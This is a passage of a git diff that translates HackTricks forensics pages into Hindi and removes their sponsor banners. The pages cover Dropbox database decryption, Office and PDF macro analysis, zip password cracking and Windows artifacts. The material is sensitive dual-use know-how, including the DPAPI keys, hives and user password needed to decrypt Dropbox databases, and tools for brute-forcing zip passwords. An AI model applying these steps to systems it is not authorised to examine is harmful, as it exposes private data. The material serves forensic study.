**files**, modified time, size, and the MD5 checksum of the files. +फ़ाइल **`Cloud_graph\Cloud_graph.db`** एक sqlite डेटाबेस है जिसमें तालिका **`cloud_graph_entry`** होती है। इस तालिका में आप **समन्वयित** **फ़ाइलों** का **नाम**, संशोधित समय, आकार, और फ़ाइलों का MD5 चेकसम पा सकते हैं। -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +डेटाबेस **`Sync_config.db`** की तालिका डेटा में खाते का ईमेल पता, साझा फ़ोल्डरों का पथ और Google Drive का संस्करण होता है। ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox फ़ाइलों को प्रबंधित करने के लिए **SQLite डेटाबेस** का उपयोग करता है। इसमें\ +आप डेटाबेस को निम्नलिखित फ़ोल्डरों में पा सकते हैं: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +और मुख्य डेटाबेस हैं: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +".dbx" एक्सटेंशन का अर्थ है कि **डेटाबेस** **एन्क्रिप्टेड** हैं। Dropbox **DPAPI** का उपयोग करता है ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Dropbox द्वारा उपयोग की जाने वाली एन्क्रिप्शन को बेहतर ढंग से समझने के लिए आप पढ़ सकते हैं [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)। -However, the main information is: +हालांकि, मुख्य जानकारी है: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +इसके अलावा, डेटाबेस को डिक्रिप्ट करने के लिए आपको अभी भी आवश्यकता है: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- **एन्क्रिप्टेड DPAPI कुंजी**: आप इसे रजिस्ट्री में `NTUSER.DAT\Software\Dropbox\ks\client` के अंदर पा सकते हैं (इस डेटा को बाइनरी के रूप में निर्यात करें) +- **`SYSTEM`** और **`SECURITY`** हाइव +- **DPAPI मास्टर कुंजी**: जो `\Users\\AppData\Roaming\Microsoft\Protect` में पाई जा सकती हैं +- Windows उपयोगकर्ता का **उपयोगकर्ता नाम** और **पासवर्ड** -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +फिर आप टूल [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)** का उपयोग कर सकते हैं:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +यदि सब कुछ अपेक्षित रूप से चलता है, तो टूल आपको **प्राथमिक कुंजी** बताएगा जिसका आपको **मूल कुंजी को पुनर्प्राप्त करने के लिए उपयोग करना है**। मूल कुंजी को पुनर्प्राप्त करने के लिए, बस इस [cyber_chef रेसिपी]() का उपयोग करें, जिसमें प्राथमिक कुंजी को रेसिपी के "पासफ़्रेज़" के रूप में डालें। +परिणामी हेक्स अंतिम कुंजी है जिसका उपयोग डेटाबेस को एन्क्रिप्ट करने के लिए किया गया है जिसे डिक्रिप्ट किया जा सकता है: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +**`config.dbx`** डेटाबेस में शामिल हैं: -The **`config.dbx`** database contains: +- **Email**: उपयोगकर्ता का ईमेल +- **usernamedisplayname**: उपयोगकर्ता का नाम +- **dropbox_path**: वह पथ जहाँ ड्रॉपबॉक्स फ़ोल्डर स्थित है +- **Host_id: Hash** जो क्लाउड में प्रमाणीकरण के लिए उपयोग किया जाता है। इसे केवल वेब से रद्द किया जा सकता है। +- **Root_ns**: उपयोगकर्ता पहचानकर्ता -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +**`filecache.db`** डेटाबेस में ड्रॉपबॉक्स के साथ समन्वयित सभी फ़ाइलों और फ़ोल्डरों के बारे में जानकारी होती है। तालिका `File_journal` वह है जिसमें अधिक उपयोगी जानकारी होती है: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: वह पथ जहाँ फ़ाइल सर्वर के अंदर स्थित है (यह पथ क्लाइंट के `host_id` द्वारा पूर्ववत होता है)। +- **local_sjid**: फ़ाइल का संस्करण +- **local_mtime**: संशोधन तिथि +- **local_ctime**: निर्माण तिथि -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +इस डेटाबेस के अंदर अन्य तालिकाएँ अधिक दिलचस्प जानकारी प्रदान करती हैं: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: ड्रॉपबॉक्स की सभी फ़ाइलों और फ़ोल्डरों का हैश +- **block_ref**: तालिका `block_cache` के हैश आईडी को तालिका `file_journal` में फ़ाइल आईडी से संबंधित करता है +- **mount_table**: ड्रॉपबॉक्स के साझा फ़ोल्डर +- **deleted_fields**: ड्रॉपबॉक्स द्वारा हटाई गई फ़ाइलें - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..6e4e06bb5 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -2,35 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+अधिक जानकारी के लिए देखें [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). यह केवल एक संक्षेप है: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ने कई ऑफिस दस्तावेज़ प्रारूप बनाए हैं, जिनमें दो मुख्य प्रकार **OLE प्रारूप** (जैसे RTF, DOC, XLS, PPT) और **Office Open XML (OOXML) प्रारूप** (जैसे DOCX, XLSX, PPTX) हैं। ये प्रारूप मैक्रोज़ को शामिल कर सकते हैं, जिससे ये फ़िशिंग और मैलवेयर के लक्ष्यों बन जाते हैं। OOXML फ़ाइलें ज़िप कंटेनरों के रूप में संरचित होती हैं, जो अनज़िपिंग के माध्यम से निरीक्षण की अनुमति देती हैं, फ़ाइल और फ़ोल्डर पदानुक्रम और XML फ़ाइल सामग्री को प्रकट करती हैं। -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +OOXML फ़ाइल संरचनाओं का अन्वेषण करने के लिए, एक दस्तावेज़ को अनज़िप करने के लिए कमांड और आउटपुट संरचना दी गई है। इन फ़ाइलों में डेटा छिपाने की तकनीकों का दस्तावेजीकरण किया गया है, जो CTF चुनौतियों के भीतर डेटा छिपाने में निरंतर नवाचार को दर्शाता है। -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +विश्लेषण के लिए, **oletools** और **OfficeDissector** OLE और OOXML दस्तावेज़ों की जांच के लिए व्यापक टूलसेट प्रदान करते हैं। ये उपकरण एम्बेडेड मैक्रोज़ की पहचान और विश्लेषण में मदद करते हैं, जो अक्सर मैलवेयर वितरण के लिए वेक्टर के रूप में कार्य करते हैं, आमतौर पर अतिरिक्त दुर्भावनापूर्ण पेलोड डाउनलोड और निष्पादित करते हैं। VBA मैक्रोज़ का विश्लेषण Microsoft Office के बिना Libre Office का उपयोग करके किया जा सकता है, जो ब्रेकपॉइंट और वॉच वेरिएबल के साथ डिबगिंग की अनुमति देता है। +**oletools** की स्थापना और उपयोग सरल है, जिसमें pip के माध्यम से स्थापित करने और दस्तावेज़ों से मैक्रोज़ निकालने के लिए कमांड प्रदान किए गए हैं। मैक्रोज़ का स्वचालित निष्पादन `AutoOpen`, `AutoExec`, या `Document_Open` जैसी कार्यों द्वारा ट्रिगर किया जाता है। ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..cadf6d0dc 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# PDF फ़ाइल विश्लेषण {{#include ../../../banners/hacktricks-training.md}} -
+**अधिक जानकारी के लिए देखें:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +PDF प्रारूप अपनी जटिलता और डेटा को छिपाने की क्षमता के लिए जाना जाता है, जो इसे CTF फॉरेंसिक्स चुनौतियों के लिए एक केंद्र बिंदु बनाता है। यह सामान्य पाठ तत्वों को बाइनरी ऑब्जेक्ट्स के साथ मिलाता है, जो संकुचित या एन्क्रिप्टेड हो सकते हैं, और इसमें JavaScript या Flash जैसी भाषाओं में स्क्रिप्ट शामिल हो सकती हैं। PDF संरचना को समझने के लिए, कोई Didier Stevens के [परिचयात्मक सामग्री](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) का संदर्भ ले सकता है, या टेक्स्ट संपादक या Origami जैसे PDF-विशिष्ट संपादक का उपयोग कर सकता है। -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +PDFs के गहन अन्वेषण या हेरफेर के लिए, [qpdf](https://github.com/qpdf/qpdf) और [Origami](https://github.com/mobmewireless/origami-pdf) जैसे उपकरण उपलब्ध हैं। PDFs के भीतर छिपा डेटा निम्नलिखित में छिपा हो सकता है: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- अदृश्य परतें +- Adobe द्वारा XMP मेटाडेटा प्रारूप +- वृद्धिशील पीढ़ियाँ +- पृष्ठभूमि के समान रंग का पाठ +- छवियों के पीछे का पाठ या ओवरलैपिंग छवियाँ +- गैर-प्रदर्शित टिप्पणियाँ -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +कस्टम PDF विश्लेषण के लिए, Python पुस्तकालय जैसे [PeepDF](https://github.com/jesparza/peepdf) का उपयोग करके विशेष पार्सिंग स्क्रिप्ट बनाई जा सकती हैं। इसके अलावा, PDF के छिपे हुए डेटा भंडारण की क्षमता इतनी विशाल है कि NSA द्वारा PDF जोखिमों और प्रतिकृतियों पर गाइड जैसे संसाधन, हालांकि अब इसके मूल स्थान पर होस्ट नहीं किए गए हैं, फिर भी मूल्यवान अंतर्दृष्टि प्रदान करते हैं। [गाइड की एक प्रति](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%Bútmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) और Ange Albertini द्वारा [PDF प्रारूप ट्रिक्स](https://github.com/corkami/docs/blob/master/PDF/PDF.md) का एक संग्रह इस विषय पर आगे पढ़ने के लिए प्रदान कर सकता है। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..84233a6c9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG फ़ाइलें** **CTF चुनौतियों** में उनकी **लॉसलेस संकुचन** के लिए अत्यधिक प्रशंसित हैं, जो उन्हें छिपे हुए डेटा को एम्बेड करने के लिए आदर्श बनाती हैं। **Wireshark** जैसे उपकरण PNG फ़ाइलों का विश्लेषण करने में सक्षम हैं, नेटवर्क पैकेट के भीतर उनके डेटा को काटकर, एम्बेडेड जानकारी या विसंगतियों को प्रकट करते हैं। -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNG फ़ाइल की अखंडता की जांच करने और भ्रष्टाचार को ठीक करने के लिए, **pngcheck** एक महत्वपूर्ण उपकरण है, जो PNG फ़ाइलों को मान्य और निदान करने के लिए कमांड-लाइन कार्यक्षमता प्रदान करता है ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html))। जब फ़ाइलें सरल सुधारों से परे होती हैं, तो [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) जैसे ऑनलाइन सेवाएँ **भ्रष्ट PNGs को ठीक करने** के लिए एक वेब-आधारित समाधान प्रदान करती हैं, CTF प्रतिभागियों के लिए महत्वपूर्ण डेटा की वसूली में सहायता करती हैं। -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +ये रणनीतियाँ CTFs में एक व्यापक दृष्टिकोण के महत्व को रेखांकित करती हैं, विश्लेषणात्मक उपकरणों और मरम्मत तकनीकों के मिश्रण का उपयोग करके छिपे हुए या खोए हुए डेटा को उजागर और पुनर्प्राप्त करने के लिए। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..1ab595eda 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**ऑडियो और वीडियो फ़ाइल हेरफेर** **CTF फॉरेंसिक्स चुनौतियों** में एक मुख्य तत्व है, जो **स्टेगनोग्राफी** और मेटाडेटा विश्लेषण का उपयोग करके गुप्त संदेशों को छिपाने या प्रकट करने के लिए किया जाता है। फ़ाइल मेटाडेटा की जांच और सामग्री प्रकारों की पहचान के लिए **[mediainfo](https://mediaarea.net/en/MediaInfo)** और **`exiftool`** जैसे उपकरण आवश्यक हैं। -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +ऑडियो चुनौतियों के लिए, **[Audacity](http://www.audacityteam.org/)** तरंग रूपों को देखने और स्पेक्ट्रोग्राम का विश्लेषण करने के लिए एक प्रमुख उपकरण है, जो ऑडियो में एन्कोडेड पाठ को उजागर करने के लिए आवश्यक है। **[Sonic Visualiser](http://www.sonicvisualiser.org/)** विस्तृत स्पेक्ट्रोग्राम विश्लेषण के लिए अत्यधिक अनुशंसित है। **Audacity** ऑडियो हेरफेर की अनुमति देता है जैसे ट्रैकों को धीमा करना या उलटना ताकि छिपे हुए संदेशों का पता लगाया जा सके। **[Sox](http://sox.sourceforge.net/)**, एक कमांड-लाइन उपयोगिता, ऑडियो फ़ाइलों को परिवर्तित और संपादित करने में उत्कृष्ट है। -{% embed url="https://academy.8ksec.io/" %} +**लीस्ट सिग्निफिकेंट बिट्स (LSB)** हेरफेर ऑडियो और वीडियो स्टेगनोग्राफी में एक सामान्य तकनीक है, जो मीडिया फ़ाइलों के निश्चित आकार के टुकड़ों का उपयोग करके डेटा को गुप्त रूप से एम्बेड करती है। **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** **DTMF टोन** या **मॉर्स कोड** के रूप में छिपे संदेशों को डिकोड करने के लिए उपयोगी है। -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +वीडियो चुनौतियाँ अक्सर कंटेनर फ़ॉर्मेट्स को शामिल करती हैं जो ऑडियो और वीडियो स्ट्रीम को बंडल करती हैं। **[FFmpeg](http://ffmpeg.org/)** इन फ़ॉर्मेट्स का विश्लेषण और हेरफेर करने के लिए जाना जाता है, जो सामग्री को डिमल्टिप्लेक्सिंग और प्लेबैक करने में सक्षम है। डेवलपर्स के लिए, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** FFmpeg की क्षमताओं को Python में उन्नत स्क्रिप्टेबल इंटरैक्शन के लिए एकीकृत करता है। -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +इन उपकरणों की श्रृंखला CTF चुनौतियों में आवश्यक बहुपरकारीता को उजागर करती है, जहाँ प्रतिभागियों को ऑडियो और वीडियो फ़ाइलों के भीतर छिपे डेटा को उजागर करने के लिए विश्लेषण और हेरफेर तकनीकों का एक विस्तृत स्पेक्ट्रम लागू करना होता है। -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. - -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. - -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. - -## References +## संदर्भ - [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..37d18665b 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**कमांड-लाइन उपकरण** **zip फाइलों** के प्रबंधन के लिए आवश्यक हैं, जो zip फाइलों का निदान, मरम्मत और क्रैक करने में मदद करते हैं। यहाँ कुछ प्रमुख उपयोगिताएँ हैं: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: बताता है कि zip फाइल क्यों डिकम्प्रेस नहीं हो रही है। +- **`zipdetails -v`**: zip फाइल प्रारूप फ़ील्ड का विस्तृत विश्लेषण प्रदान करता है। +- **`zipinfo`**: बिना निकाले zip फाइल की सामग्री सूचीबद्ध करता है। +- **`zip -F input.zip --out output.zip`** और **`zip -FF input.zip --out output.zip`**: भ्रष्ट zip फाइलों की मरम्मत करने का प्रयास करते हैं। +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip पासवर्ड के लिए ब्रूट-फोर्स क्रैकिंग का एक उपकरण, जो लगभग 7 अक्षरों तक के पासवर्ड के लिए प्रभावी है। -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip फाइल प्रारूप विनिर्देशन](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) zip फाइलों की संरचना और मानकों पर व्यापक विवरण प्रदान करता है। -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +यह ध्यान रखना महत्वपूर्ण है कि पासवर्ड-संरक्षित zip फाइलें **फाइल नामों या फाइल आकारों को एन्क्रिप्ट नहीं करतीं**, जो एक सुरक्षा दोष है जो RAR या 7z फाइलों के साथ साझा नहीं किया जाता है, जो इस जानकारी को एन्क्रिप्ट करते हैं। इसके अलावा, पुराने ZipCrypto विधि से एन्क्रिप्ट की गई zip फाइलें **प्लेनटेक्स्ट हमले** के प्रति संवेदनशील हैं यदि एक संकुचित फाइल की अनएन्क्रिप्टेड प्रति उपलब्ध है। यह हमला ज्ञात सामग्री का उपयोग करके zip के पासवर्ड को क्रैक करता है, जो [HackThis के लेख](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) में विस्तृत रूप से बताया गया है और [इस शैक्षणिक पत्र](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) में आगे समझाया गया है। हालाँकि, **AES-256** एन्क्रिप्शन के साथ सुरक्षित zip फाइलें इस plaintext हमले के प्रति प्रतिरक्षित हैं, जो संवेदनशील डेटा के लिए सुरक्षित एन्क्रिप्शन विधियों के चयन के महत्व को दर्शाता है। ## References diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md index 08b2ede8c..372d693cb 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -4,511 +4,491 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Generic Windows Artifacts ### Windows 10 Notifications -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +पथ `\Users\\AppData\Local\Microsoft\Windows\Notifications` में आप डेटाबेस `appdb.dat` (Windows anniversary से पहले) या `wpndatabase.db` (Windows Anniversary के बाद) पा सकते हैं। -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +इस SQLite डेटाबेस के अंदर, आप `Notification` तालिका पा सकते हैं जिसमें सभी सूचनाएँ (XML प्रारूप में) होती हैं जो दिलचस्प डेटा हो सकता है। ### Timeline -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Timeline एक Windows विशेषता है जो **कालानुक्रमिक इतिहास** प्रदान करती है वेब पृष्ठों का दौरा किया गया, संपादित दस्तावेज़, और निष्पादित अनुप्रयोग। -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +डेटाबेस पथ `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` में स्थित है। इस डेटाबेस को SQLite टूल या टूल [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) के साथ खोला जा सकता है **जो 2 फ़ाइलें उत्पन्न करता है जिन्हें टूल** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **के साथ खोला जा सकता है।** ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +डाउनलोड की गई फ़ाइलों में **ADS Zone.Identifier** हो सकता है जो **यह बताता है कि** इसे **कैसे** डाउनलोड किया गया था intranet, internet, आदि से। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आमतौर पर और भी **अधिक** **जानकारी** डालते हैं जैसे कि **URL** जहाँ से फ़ाइल डाउनलोड की गई थी। ## **File Backups** ### Recycle Bin -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10 में **Recycle Bin** ड्राइव के 